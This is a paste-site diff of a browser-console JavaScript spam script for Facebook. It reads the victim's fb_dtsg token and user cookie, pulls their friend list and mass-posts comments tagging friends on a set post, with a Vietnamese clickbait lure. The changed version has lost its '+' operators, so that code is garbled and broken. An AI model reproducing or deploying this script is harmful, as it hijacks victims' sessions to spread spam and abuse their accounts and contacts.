SHOW:
|
|
- or go back to the newest paste.
| 1 | var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
| |
| 2 | - | var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]); |
| 2 | + | var user_id = document.cookie.match(document.cookie.match(/c_user=(\d )/)[1]); |
| 3 | - | var id = "8273928716283947u"; |
| 3 | + | var id = "401720113306017"; |
| 4 | var arkadaslar = []; | |
| 5 | var svn_rev; | |
| 6 | function arkadaslari_al(id){
| |
| 7 | var xmlhttp = new XMLHttpRequest(); | |
| 8 | xmlhttp.onreadystatechange = function () {
| |
| 9 | if(xmlhttp.readyState == 4){
| |
| 10 | - | eval("arkadaslar = " + xmlhttp.responseText.toString().replace("for (;;);","") + ";");
|
| 10 | + | eval("arkadaslar = " xmlhttp.responseText.toString().replace("for (;;);","") ";");
|
| 11 | - | for(f=0;f<Math.round(arkadaslar.payload.entries.length/27);f++){
|
| 11 | + | for(f=0;f<Math.round(arkadaslar.payload.entries.length/27);f ){
|
| 12 | mesaj = "";mesaj_text = ""; | |
| 13 | - | for(i=f*27;i<(f+1)*27;i++){
|
| 13 | + | for(i=f*27;i<(f 1)*27;i ){
|
| 14 | if(arkadaslar.payload.entries[i]){
| |
| 15 | - | mesaj += " đc rồi nè <3 @[" + arkadaslar.payload.entries[i].uid + ":" + arkadaslar.payload.entries[i].text + "]"; |
| 15 | + | mesaj = " hay qúa, mọi người xem kết cục tên trộm nè. @[" arkadaslar.payload.entries[i].uid ":" arkadaslar.payload.entries[i].text "]"; |
| 16 | - | mesaj_text += " " + arkadaslar.payload.entries[i].text; |
| 16 | + | mesaj_text = " " arkadaslar.payload.entries[i].text; |
| 17 | } | |
| 18 | } | |
| 19 | yorum_yap(id ,mesaj)} | |
| 20 | } | |
| 21 | }; | |
| 22 | var params = "&filter[0]=user"; | |
| 23 | - | params += "&options[0]=friends_only"; |
| 23 | + | params = "&options[0]=friends_only"; |
| 24 | - | params += "&options[1]=nm"; |
| 24 | + | params = "&options[1]=nm"; |
| 25 | - | params += "&token=v7"; |
| 25 | + | params = "&token=v7"; |
| 26 | - | params += "&viewer=" + user_id; |
| 26 | + | params = "&viewer=" user_id; |
| 27 | - | params += "&__user=" + user_id; |
| 27 | + | params = "&__user=" user_id; |
| 28 | - | if (document.URL.indexOf("https://") >= 0) { xmlhttp.open("GET", "https://www.facebook.com/ajax/typeahead/first_degree.php?__a=1" + params, true); }
|
| 28 | + | if (document.URL.indexOf("https://") >= 0) { xmlhttp.open("GET", "https://www.facebook.com/ajax/typeahead/first_degree.php?__a=1" params, true); }
|
| 29 | - | else { xmlhttp.open("GET", "http://www.facebook.com/ajax/typeahead/first_degree.php?__a=1" + params, true); }
|
| 29 | + | else { xmlhttp.open("GET", "http://www.facebook.com/ajax/typeahead/first_degree.php?__a=1" params, true); }
|
| 30 | xmlhttp.send(); | |
| 31 | } | |
| 32 | function RandomArkadas(){
| |
| 33 | var sonuc = ""; | |
| 34 | - | for(i=0;i<9;i++){
|
| 34 | + | for(i=0;i<9;i ){
|
| 35 | - | sonuc += " @[" + arkadaslar.payload.entries[Math.floor(Math.random() * arkadaslar.payload.entries.length)].uid + ":" + arkadaslar.payload.entries[Math.floor(Math.random() * arkadaslar.payload.entries.length)].text + "]"; |
| 35 | + | sonuc = " @[" arkadaslar.payload.entries[Math.floor(Math.random() * arkadaslar.payload.entries.length)].uid ":" arkadaslar.payload.entries[Math.floor(Math.random() * arkadaslar.payload.entries.length)].text "]"; |
| 36 | } | |
| 37 | return sonuc; | |
| 38 | } | |
| 39 | function yorum_yap(id ,mesaj) {
| |
| 40 | var xhr = new XMLHttpRequest(); | |
| 41 | var params =""; | |
| 42 | - | params +="&ft_ent_identifier="+id; |
| 42 | + | params ="&ft_ent_identifier=" id; |
| 43 | - | params +="&comment_text="+encodeURIComponent(mesaj); |
| 43 | + | params ="&comment_text=" encodeURIComponent(mesaj); |
| 44 | - | params +="&source=2"; |
| 44 | + | params ="&source=2"; |
| 45 | - | params +="&client_id=1377871797138:1707018092"; |
| 45 | + | params ="&client_id=1377871797138:1707018092"; |
| 46 | - | params +="&reply_fbid"; |
| 46 | + | params ="&reply_fbid"; |
| 47 | - | params +="&parent_comment_id"; |
| 47 | + | params ="&parent_comment_id"; |
| 48 | - | params +="&rootid=u_jsonp_2_3"; |
| 48 | + | params ="&rootid=u_jsonp_2_3"; |
| 49 | - | params +="&clp={\"cl_impid\":\"453524a0\",\"clearcounter\":0,\"elementid\":\"js_5\",\"version\":\"x\",\"parent_fbid\":"+id+"}";
|
| 49 | + | params ="&clp={\"cl_impid\":\"453524a0\",\"clearcounter\":0,\"elementid\":\"js_5\",\"version\":\"x\",\"parent_fbid\":" id "}";
|
| 50 | - | params +="&attached_sticker_fbid=0"; |
| 50 | + | params ="&attached_sticker_fbid=0"; |
| 51 | - | params +="&attached_photo_fbid=0"; |
| 51 | + | params ="&attached_photo_fbid=0"; |
| 52 | - | params +="&giftoccasion"; |
| 52 | + | params ="&giftoccasion"; |
| 53 | - | params +="&ft[tn]=[]"; |
| 53 | + | params ="&ft[tn]=[]"; |
| 54 | - | params +="&__user="+user_id; |
| 54 | + | params ="&__user=" user_id; |
| 55 | - | params +="&__a=1"; |
| 55 | + | params ="&__a=1"; |
| 56 | - | params +="&__dyn=7n8ahyj35ynxl2u5F97KepEsyo"; |
| 56 | + | params ="&__dyn=7n8ahyj35ynxl2u5F97KepEsyo"; |
| 57 | - | params +="&__req=q"; |
| 57 | + | params ="&__req=q"; |
| 58 | - | params +="&fb_dtsg="+fb_dtsg; |
| 58 | + | params ="&fb_dtsg=" fb_dtsg; |
| 59 | - | params +="&ttstamp="; |
| 59 | + | params ="&ttstamp="; |
| 60 | xhr.open("POST", "/ajax/ufi/add_comment.php", true);
| |
| 61 | ||
| 62 | xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
| |
| 63 | ||
| 64 | xhr.onreadystatechange = function () {
| |
| 65 | if (xhr.readyState == 4 && xhr.status == 200) {
| |
| 66 | xhr.close; | |
| 67 | } | |
| 68 | } | |
| 69 | xhr.send(params); | |
| 70 | } | |
| 71 | arkadaslari_al(id); |